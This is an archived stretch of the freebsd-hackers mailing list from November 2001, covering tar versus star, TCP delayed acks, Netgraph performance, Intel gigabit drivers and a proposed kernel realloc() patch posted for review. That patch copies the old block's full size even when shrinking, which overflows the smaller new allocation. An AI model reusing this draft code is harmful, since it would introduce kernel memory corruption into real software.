inline In-Reply-To: <9u5ied$1fjf$1@kemoauc.mips.inka.de>; from naddy@mips.inka.de on Thu, Nov 29, 2001 at 02:58:21PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > Perhaps it makes sense to switch to star instead? The last version is > > Posix conform, supports extended headers and ACLs. According to the star > > developer (Joerg Schilling) GNU tar is severly broken. > > Unfortunately, star has it's own share of problems: > > - A highly idiosyncratic command syntax that is incompatible with > traditional tar syntax. I think this is a killer. > - It doesn't support incremental backups. That isn't a problem in > itself, but it's a feature our GNU tar currently has and people > probably don't want to lose. > - An idiosyncratic build system. this may be a little OT but does no body use pax ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 9:10: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 76E0737B420 for ; Thu, 29 Nov 2001 09:10:01 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id KAA10151; Thu, 29 Nov 2001 10:09:59 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fATH9wk06214; Thu, 29 Nov 2001 10:09:58 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15366.27622.717200.798581@caddis.yogotech.com> Date: Thu, 29 Nov 2001 10:09:58 -0700 To: jc@irbs.com Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <20011129004234.A16101@exuma.irbs.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I started noticing some TCP weirdness when I moved my bandwidth > stats site from my office to my colo facility last week. The colo > is five miles away by road and 1200 miles away by network. Netscape > would stop for seconds at a time while loading the graph images but > there was no consistency. Worked properly sometimes and sometimes > not. Thanks for the much more detailed bug report vs. mine. Can you try disabling delayed acks to see if that helps, per another poster's response to this thread? sysctl net.inet.tcp.delayed_ack=0 Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 9:20:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 9A35737B41E for ; Thu, 29 Nov 2001 09:20:27 -0800 (PST) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id fATHFKH10492; Thu, 29 Nov 2001 18:15:20 +0100 (MET) Date: Thu, 29 Nov 2001 18:15:19 +0100 (CET) From: Harti Brandt To: Christian Weisgerber Cc: freebsd-hackers@freebsd.org Subject: Re: tar and nodump flag In-Reply-To: <9u5ied$1fjf$1@kemoauc.mips.inka.de> Message-ID: <20011129181421.M29843-100000@beagle.fokus.gmd.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 29 Nov 2001, Christian Weisgerber wrote: CW>Harti Brandt wrote: CW> CW>> Perhaps it makes sense to switch to star instead? The last version is CW>> Posix conform, supports extended headers and ACLs. According to the star CW>> developer (Joerg Schilling) GNU tar is severly broken. CW> CW>Unfortunately, star has it's own share of problems: CW> CW>- A highly idiosyncratic command syntax that is incompatible with CW> traditional tar syntax. I think this is a killer. Well, yes. CW>- It doesn't support incremental backups. That isn't a problem in CW> itself, but it's a feature our GNU tar currently has and people CW> probably don't want to lose. CW>- An idiosyncratic build system. I know that. I have a discussion every other day with the guy about how great it is :-) harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.fhg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 10:21:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id 1E68237B417; Thu, 29 Nov 2001 10:21:43 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id KAA20742; Thu, 29 Nov 2001 10:15:28 -0800 (PST) Date: Thu, 29 Nov 2001 10:15:27 -0800 (PST) From: Julian Elischer To: Nyteckjobs@aol.com Cc: freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, tedm@toybox.placo.com Subject: Re: (no subject) In-Reply-To: <14e.4d05ff7.29371325@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 28 Nov 2001 Nyteckjobs@aol.com wrote: > >As I mentioned above, we CAN license the driver code and the DDK for > >development. This means that you could produce FreeBSD drivers which we > >could then distribute in a binary form under a free end-user license. > > > > >Frankly this is the only way I can see that FreeBSD drivers for the 5xx > >series would ever come about. Porting SAND over, while having >advantages > >of long term support, is just overkill for this, besides which it's unlikely > >you will get a FreeBSD developer to work on GPL code. > > >This would end up putting a WANic 5xx driver into the same status as the > >drivers for the Emerging Technologies, or Sangoma sync cards, which both > >come > >with binary-only FreeBSD drivers. It would actually have a leg up over > >those drivers because it would have Netgraph hooks and I believe that the > >Sangoma drivers don't (but I've never worked with the Sangoma cards so I > >don't know for certain) > > The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that > have integrated bandwidth management and prioritization, WAN bridging > support, load balancing and a probably 25% performance advantage is a bit > entertaining. Unless you need to do some convoluted encapsulation netgraph > is, aside from being appallingly non-standard to anything else in the market, > not much of an "advantage", and its a poster child for the trade off of > "flexibility" versus performance. Netgraph is a prototyping tool, which has enough performance to be useful in non-performance-critical applications. (such as all sync interfaces). It is not designed for gigabit interfaces etc. > > Lets face it. If you were going to sit down and design an interface for frame > relay, multi-protocol support, etc, you'd have to be smoking something pretty > strong to come up with netgraph. But its free and there is source, so it > must be great! You are entitled to your opinion. I find it humourous but, that's just my opinion :-) > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 10:45:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id A406D37B417; Thu, 29 Nov 2001 10:45:26 -0800 (PST) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id fATIjQJ14572; Thu, 29 Nov 2001 10:45:26 -0800 Date: Thu, 29 Nov 2001 10:45:26 -0800 From: Brooks Davis To: John Baldwin Cc: Leo Bicknell , hackers@FreeBSD.ORG Subject: Re: Intel gigabit driver Message-ID: <20011129104526.A4434@Odin.AC.HMC.Edu> References: <20011129100209.A42016@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="liOOAslEiF7prFVr" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jhb@FreeBSD.ORG on Thu, Nov 29, 2001 at 08:04:45AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --liOOAslEiF7prFVr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Nov 29, 2001 at 08:04:45AM -0800, John Baldwin wrote: >=20 > Yes, it's called the mini-iso and is basically the first CD w/o any ports= or > packages. The last one I built for current that didn't include Xfree86 w= as > about 200 Meg. That also didn't include the ports collection or any of t= he > docs. There's also the bootonly iso from http://snapshots.jp.freebsd.org/ which weighs in at 3MB. IMO, this is the future of net installs given that Intel has decided to kill the floppy drive. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --liOOAslEiF7prFVr Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8BoJFXY6L6fI4GtQRAhSgAJ9Miy/uFy9hCoVkD2SLB7nsPS1LxwCaAk3t flskGk6GYb5Psd3jKMadQnQ= =/yVr -----END PGP SIGNATURE----- --liOOAslEiF7prFVr-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 11:15:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.dellroad.org (adsl-63-194-81-26.dsl.snfc21.pacbell.net [63.194.81.26]) by hub.freebsd.org (Postfix) with ESMTP id 0075937B41C; Thu, 29 Nov 2001 11:15:19 -0800 (PST) Received: from arch20m.dellroad.org (arch20m.dellroad.org [10.1.1.20]) by InterJet.dellroad.org (8.9.1a/8.9.1) with ESMTP id LAA89431; Thu, 29 Nov 2001 11:05:56 -0800 (PST) Received: (from archie@localhost) by arch20m.dellroad.org (8.11.6/8.11.6) id fATJ5tX48250; Thu, 29 Nov 2001 11:05:55 -0800 (PST) (envelope-from archie) From: Archie Cobbs Message-Id: <200111291905.fATJ5tX48250@arch20m.dellroad.org> Subject: kernel realloc() ? To: freebsd-hackers@freebsd.org Date: Thu, 29 Nov 2001 11:05:55 -0800 (PST) Cc: bmilekic@freebsd.org X-Mailer: ELM [version 2.5 PL5] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG For a project I'm working on, we need a kernel version of "realloc()". Two questions: #1 Does the patch below look correct? #2 If so, is this something worth committing? Thanks for any comments. -Archie __________________________________________________________________________ Archie Cobbs * Packet Design * http://www.packetdesign.com --- sys/malloc.h.orig Wed Nov 28 21:56:23 2001 +++ sys/malloc.h Thu Nov 29 10:58:30 2001 @@ -176,6 +176,8 @@ void *malloc __P((unsigned long size, struct malloc_type *type, int flags)); void malloc_init __P((void *)); void malloc_uninit __P((void *)); +void *realloc __P((void *addr, unsigned long size, + struct malloc_type *type, int flags)); #endif /* _KERNEL */ #endif /* !_SYS_MALLOC_H_ */ --- kern/kern_malloc.c.orig Wed Nov 28 21:45:18 2001 +++ kern/kern_malloc.c Wed Nov 28 22:12:07 2001 @@ -404,6 +404,43 @@ } /* + * realloc: change the size of a memory block + */ +void * +realloc(addr, size, type, flags) + void *addr; + unsigned long size; + struct malloc_type *type; + int flags; +{ + struct kmemusage *kup; + long alloc; + void *mem; + + /* Sanity checks */ + if (type->ks_limit == 0) + panic("realloc with unknown type (%s)", type->ks_shortdesc); + KASSERT(kmembase <= (char *)addr && (char *)addr < kmemlimit, + ("realloc: address %p out of range", (void *)addr)); + + /* Get size of original block; reuse if appropriate */ + kup = btokup(addr); + alloc = 1 << kup->ku_indx; + if (size <= alloc + && (size >= (alloc >> 1) || alloc == MINALLOCSIZE)) + return (addr); + + /* Allocate new block */ + if ((mem = malloc(size, type, flags)) == NULL) + return (NULL); + + /* Copy over contents */ + bcopy(addr, mem, alloc); + free(addr, type); + return (mem); +} + +/* * Initialize the kernel memory allocator */ /* ARGSUSED*/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 11:57:29 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 9020E37B417 for ; Thu, 29 Nov 2001 11:57:25 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id fATJvM070741; Thu, 29 Nov 2001 11:57:22 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id fATJvLh69974; Thu, 29 Nov 2001 11:57:21 -0800 (PST) (envelope-from jdp) Date: Thu, 29 Nov 2001 11:57:21 -0800 (PST) Message-Id: <200111291957.fATJvLh69974@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Cc: oppermann@pipeline.ch Subject: Re: Intel gigabit driver In-Reply-To: <3C057850.55E9BC99@pipeline.ch> References: <20011128141650.A96448@hub.freebsd.org> <3C057850.55E9BC99@pipeline.ch> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <3C057850.55E9BC99@pipeline.ch>, Andre Oppermann wrote: > What happend at Intel? Their driver is even released under the BSD > license! (and the Linux one under the GPL) That last bit is incorrect. The Intel driver for Linux is released under a 3-clause BSD license. John -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 11:59:17 2001 Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 885) id 76D5637B419; Thu, 29 Nov 2001 11:59:09 -0800 (PST) Date: Thu, 29 Nov 2001 11:59:09 -0800 From: Eric Melville To: Nyteckjobs@aol.com Cc: freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, tedm@toybox.placo.com Subject: Re: (no subject) Message-ID: <20011129115909.A75251@FreeBSD.org> References: <14e.4d05ff7.29371325@aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <14e.4d05ff7.29371325@aol.com>; from Nyteckjobs@aol.com on Wed, Nov 28, 2001 at 11:27:17PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that > have integrated bandwidth management and prioritization, WAN bridging > support, load balancing and a probably 25% performance advantage is a bit > entertaining. Unless you need to do some convoluted encapsulation netgraph > is, aside from being appallingly non-standard to anything else in the market, > not much of an "advantage", and its a poster child for the trade off of > "flexibility" versus performance. > > Lets face it. If you were going to sit down and design an interface for frame > relay, multi-protocol support, etc, you'd have to be smoking something pretty > strong to come up with netgraph. But its free and there is source, so it > must be great! Dennis, if you are going to continue trolling FreeBSD mailing lists from your AOL account, you should really consider choosing a name that does not coincide with what we already know or can easily find out about you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12: 7:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 1C92E37B405 for ; Thu, 29 Nov 2001 12:07:42 -0800 (PST) Received: from burner.fokus.gmd.de (burner [193.175.133.116]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id fATK7cH18602; Thu, 29 Nov 2001 21:07:38 +0100 (MET) Received: (from jes@localhost) by burner.fokus.gmd.de (8.11.4+Sun/8.11.4) id fATK73225638; Thu, 29 Nov 2001 21:07:03 +0100 (MET) Date: Thu, 29 Nov 2001 21:07:03 +0100 (MET) From: Joerg Schilling Message-Id: <200111292007.fATK73225638@burner.fokus.gmd.de> To: brandt@fokus.gmd.de, jes@fokus.gmd.de Cc: freebsd-hackers@freebsd.org, tofergus@yahoo.co.uk Subject: Re: tar and nodump flag (fwd) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >From: fergus >> > Perhaps it makes sense to switch to star instead? The last version is >> > Posix conform, supports extended headers and ACLs. According to the star >> > developer (Joerg Schilling) GNU tar is severly broken. >> >> Unfortunately, star has it's own share of problems: >> >> - A highly idiosyncratic command syntax that is incompatible with >> traditional tar syntax. I think this is a killer. People who don't know the TAR command line syntax and only know the nonstandard GNutar syntax are indeed the biggest problem. They don't know the right syntax and tell other people star is not implementing the right syntax! GNU programs usually hav a higly idiosyncratic command syntax and so does GNutar. Before you tell lies, please fist read the standard and compare it with the behavior of star. Star is close to 100% command line compatible to the POSIX standard and to what 'tar' implemented in the beginning of the 80's. Here is the only exception to the POSIX standard: - Star implements the 'l' option the oposite way as documented by POSIX but I would call this a feature. Of course, if you only know GNUtar Star's standard option handling _may_ look strange. But then why did FreBSD switch to GNUtar instead of keeping a real tar? >> - It doesn't support incremental backups. That isn't a problem in >> itself, but it's a feature our GNU tar currently has and people >> probably don't want to lose. Do you know how much Free Software I am working on? Do you know how much time cdrecord takes? If there was contribution from other people there could be more features in star today. This reminds me of a wish to a OS. Now that Solaris includes a fssnap driver it is really nice to do a backup from a frozen version of the FS that has been mounted read-only and this is fast because there is no need for an inode atime update. Fssnap also allows you to see files that are otherwise hidden by a mount point. There is only on wish left over: the Solaris ioctl(f, _FIOAI, ) that fetches the allocation info of a sparse file and allows to make fast and correct backups of sparse files. With Solaris 6 where this feature still exists, star was able to make a faster backup than with ufsdump even for sparse files. If FreeBSD implements _FIOAI and has a system similar to fssnap, TAR is the best backup method... >> - An idiosyncratic build system. This is really funny.... The *BSD make system is very very similar with the exception that it is not portable. The Schily makefile system uses a modern aproach that is 'make' based, orthogonal and structured. If you don't like the Schily makefile sysetem, you cannot like the *BSD make system too. .... but what is your problem with thi smake system? Is it the fact that it allows real portability to > 30 different platforms and does not force you to do manual interventions on all systems except Linux. The Schily makefile system could even work with the *BSD make program if the *BSD people would listen to me and fix a bug on the pattern matching macro expansion that I filed to the maintainer about 4-5 years ago. Jörg EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) If you don't have iso-8859-1 schilling@fokus.gmd.de (work) chars I am J"org Schilling URL: http://www.fokus.gmd.de/usr/schilling ftp://ftp.fokus.gmd.de/pub/unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:11:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 7103C37B41B for ; Thu, 29 Nov 2001 12:11:16 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id NAA17249; Thu, 29 Nov 2001 13:11:09 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fATKB9909446; Thu, 29 Nov 2001 13:11:09 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15366.38492.884486.112360@caddis.yogotech.com> Date: Thu, 29 Nov 2001 13:11:08 -0700 To: Joerg Schilling Cc: brandt@fokus.gmd.de, jes@fokus.gmd.de, freebsd-hackers@FreeBSD.ORG, tofergus@yahoo.co.uk Subject: Re: tar and nodump flag (fwd) In-Reply-To: <200111292007.fATK73225638@burner.fokus.gmd.de> References: <200111292007.fATK73225638@burner.fokus.gmd.de> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Of course, if you only know GNUtar Star's standard option handling > _may_ look strange. But then why did FreBSD switch to GNUtar instead > of keeping a real tar? Because there didn't exist a real tar at the time that FreeBSD was created. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:14:55 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 15A2937B419 for ; Thu, 29 Nov 2001 12:14:53 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id fATKEm070883; Thu, 29 Nov 2001 12:14:48 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id fATKEmI70068; Thu, 29 Nov 2001 12:14:48 -0800 (PST) (envelope-from jdp) Date: Thu, 29 Nov 2001 12:14:48 -0800 (PST) Message-Id: <200111292014.fATKEmI70068@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Cc: julian@elischer.org Subject: Netgraph performance In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article , Julian Elischer wrote: > Netgraph is a prototyping tool, which has enough performance to be > useful in non-performance-critical applications. (such as all sync > interfaces). It is not designed for gigabit interfaces etc. You are selling Netgraph way too short. I've been using it intensively with gigabit interfaces, and it performs very, very well. For my application (which involves generating and responding to a whole bunch of network traffic) it has yielded a good 4-5 times better performance than any other alternative I've found. John -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:20:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id BFDB637B417 for ; Thu, 29 Nov 2001 12:20:39 -0800 (PST) Received: from onyx (onyx.cs.binghamton.edu [128.226.140.171]) by bingnet2.cc.binghamton.edu (8.11.6/8.11.6) with ESMTP id fATKKcS12609 for ; Thu, 29 Nov 2001 15:20:38 -0500 (EST) Date: Thu, 29 Nov 2001 15:18:53 -0500 (EST) From: Zhihui Zhang X-Sender: zzhang@onyx To: freebsd-hackers@freebsd.org Subject: contiguous memory of a buffer Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am wondering whether we need contiguous memory for a PHYSICAL buffer to perform the DMA I/O. It seems not, because regular buffers can be consisted of non-contiguous pages. The disk driver should treat both kinds of buffers in the same way. So can I say that any buffers used by kernel (via getblk()) is conforming DMA-able buffer? Thanks for any clarification. -Zhihui To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:22:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 6064A37B41B for ; Thu, 29 Nov 2001 12:22:06 -0800 (PST) Received: from burner.fokus.gmd.de (burner [193.175.133.116]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id fATKLEH20285; Thu, 29 Nov 2001 21:21:14 +0100 (MET) Received: (from jes@localhost) by burner.fokus.gmd.de (8.11.4+Sun/8.11.4) id fATKKdP25658; Thu, 29 Nov 2001 21:20:39 +0100 (MET) Date: Thu, 29 Nov 2001 21:20:39 +0100 (MET) From: Joerg Schilling Message-Id: <200111292020.fATKKdP25658@burner.fokus.gmd.de> To: nate@yogotech.com, schilling@fokus.gmd.de Cc: brandt@fokus.gmd.de, freebsd-hackers@freebsd.org, jes@fokus.gmd.de, tofergus@yahoo.co.uk Subject: Re: tar and nodump flag (fwd) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >From nate@yogotech.com Thu Nov 29 21:11:16 2001 >> Of course, if you only know GNUtar Star's standard option handling >> _may_ look strange. But then why did FreBSD switch to GNUtar instead >> of keeping a real tar? >Because there didn't exist a real tar at the time that FreeBSD was >created. Well this is from BSD-4.3: /* * Copyright (c) 1980 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint char copyright[] = "@(#) Copyright (c) 1980 Regents of the University of California.\n\ All rights reserved.\n"; #endif not lint #ifndef lint static char sccsid[] = "@(#)tar.c 5.7 (Berkeley) 4/26/86"; #endif not lint This _is_ a real tar. ... And it has no Copyright AT&T inside. If you like to compare star against the standard, look at: http://www.opengroup.org/onlinepubs/7908799/xcu/tar.html Jörg EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) If you don't have iso-8859-1 schilling@fokus.gmd.de (work) chars I am J"org Schilling URL: http://www.fokus.gmd.de/usr/schilling ftp://ftp.fokus.gmd.de/pub/unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:25:39 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from web21102.mail.yahoo.com (web21102.mail.yahoo.com [216.136.227.104]) by hub.freebsd.org (Postfix) with SMTP id 35CE937B419 for ; Thu, 29 Nov 2001 12:25:34 -0800 (PST) Message-ID: <20011129202532.64189.qmail@web21102.mail.yahoo.com> Received: from [62.254.0.4] by web21102.mail.yahoo.com via HTTP; Thu, 29 Nov 2001 12:25:32 PST Date: Thu, 29 Nov 2001 12:25:32 -0800 (PST) From: Hiten Pandya Subject: re: intel gigabit driver To: freebsd-hackers@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi all... i was asking... it might sound daft... is the driver already existing in the -CURRENT repository... my main point is... when are we going to put the entry for it in devices.c for src/usr.sbin/sysinstall thanks... regards... Hiten Pandya ===== regards, Hiten Pandya MOTD: I just like _pumping_ the daylights out of a PENGUIN!!! __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 12:26: 6 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 00EAF37B41B for ; Thu, 29 Nov 2001 12:25:59 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id NAA17830; Thu, 29 Nov 2001 13:25:51 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fATKPpc09693; Thu, 29 Nov 2001 13:25:51 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15366.39374.250439.333148@caddis.yogotech.com> Date: Thu, 29 Nov 2001 13:25:50 -0700 To: Joerg Schilling Cc: nate@yogotech.com, brandt@fokus.gmd.de, freebsd-hackers@freebsd.org, jes@fokus.gmd.de, tofergus@yahoo.co.uk Subject: Re: tar and nodump flag (fwd) In-Reply-To: <200111292020.fATKKdP25658@burner.fokus.gmd.de> References: <200111292020.fATKKdP25658@burner.fokus.gmd.de> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid 